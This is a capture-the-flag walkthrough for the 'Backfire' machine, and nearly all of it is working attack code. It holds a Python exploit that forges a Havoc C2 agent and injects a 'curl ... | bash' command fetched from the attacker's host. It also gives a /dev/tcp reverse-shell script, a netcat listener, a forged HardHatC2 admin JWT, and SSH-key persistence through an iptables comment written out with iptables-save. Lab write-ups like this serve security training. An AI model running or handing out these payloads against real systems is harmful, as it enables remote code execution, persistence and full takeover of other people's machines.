Auhor: lomar

User

Create RCE File

pip install pycryptodome

import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter
 
urllib3.disable_warnings()
 
key_bytes = 32
 
def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"
 
    assert len(key) == key_bytes
 
    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)
 
    plaintext = aes.decrypt(ciphertext)
    return plaintext
 
 
def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)
 
 
def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"
 
        assert len(key) == key_bytes
 
        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)
 
        ciphertext = aes.encrypt(plaintext)
        return ciphertext
 
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id
 
    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)
 
    data = b"\xab" * 100
 
    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
 
    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print(agent_header + header_data)
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
 
 
def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"
 
    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)
 
    forward_port = int_to_bytes(target_port)
 
    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)
 
    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
 
    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data
 
    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
 
 
def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"
 
    data_length = int_to_bytes(len(data))
 
    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)
 
    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
 
    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print(post_data)
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
 
 
def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"
 
    header_data = command + request_id
 
    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data
 
    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""
 
    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]
 
    return decrypt(AES_Key, AES_IV, enc_package)[12:]
 
 
def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request
 
 
def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))
 
    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)
 
    return frame
 
 
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
 
args = parser.parse_args()
 
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
    "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
 
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
 
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
 
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
 
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
 
cmd = f"curl http://{os.environ["LHOST"]}:8080/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

Create Shell File

Payload.sh

#!/bin/bash
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

Start Webserver

python3 -m http.server 8080

Start Listener

nc -nvlp 4444

Run rce.py

LHOST=YOUR-IP-ADDRESS python3 rce.py --target https://backfire.htb/havoc -i 127.0.0.1 -p 40056

Add Public Key

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOD4AOKmqCL2DRPY5+2h276o0EHsp0TjpcV47Pa6LvIo kali@kali
' | tee -a ~/.ssh/authorized_keys

ssh ilya@backfire.htb

Sergej

Port Forward

ssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

RCE

# @Author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
 
rhost = '127.0.0.1:5000'
 
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
 
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
 
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
 
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "lomar",
"role": "TeamLead",
"username": "lomar"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

You can change the

burp0_json = {
"password": "lomar",
"role": "TeamLead",
"username": "lomar"
}

Run

python3 hardhat_rce.py

Go to https://localhost:7096 and login with credentials

ssh sergej@backfire.htb

Root

ssh-keygen -t ed25519 -C "user@ubuntu"

sudo -u root /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOD4AOKmqCL2DRPY5+2h276o0EHsp0TjpcV47Pa6LvIo kali@kali user@ubuntu\n'

cat ~/.ssh/id_ed25519.pub
sudo -u root /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $"\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESMWC8EpOoV3C7r5lhb8bTAcGj57xSOvNyj5WRiOBLX user@ubuntu\n"

sudo iptables-save -f /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_ed25519 root@backfire

cat /root/root.txt
cat /ilya/user.txt

SKYSEC Articles

Explorer

Backfire (Non-Writeup)

Auhor: lomar

User

Create RCE File

Create Shell File

Start Webserver

Start Listener

Run rce.py

Add Public Key

Sergej

Port Forward

RCE

Root

Graph View

Table of Contents

SKYSEC Articles

Explorer

Backfire (Non-Writeup)

Auhor: lomar

User

Create RCE File

Create Shell File

Start Webserver

Start Listener

Run rce.py

Add Public Key

Login via SSH

Sergej

Port Forward

RCE

Login To HardhatC2

Root

Graph View

Table of Contents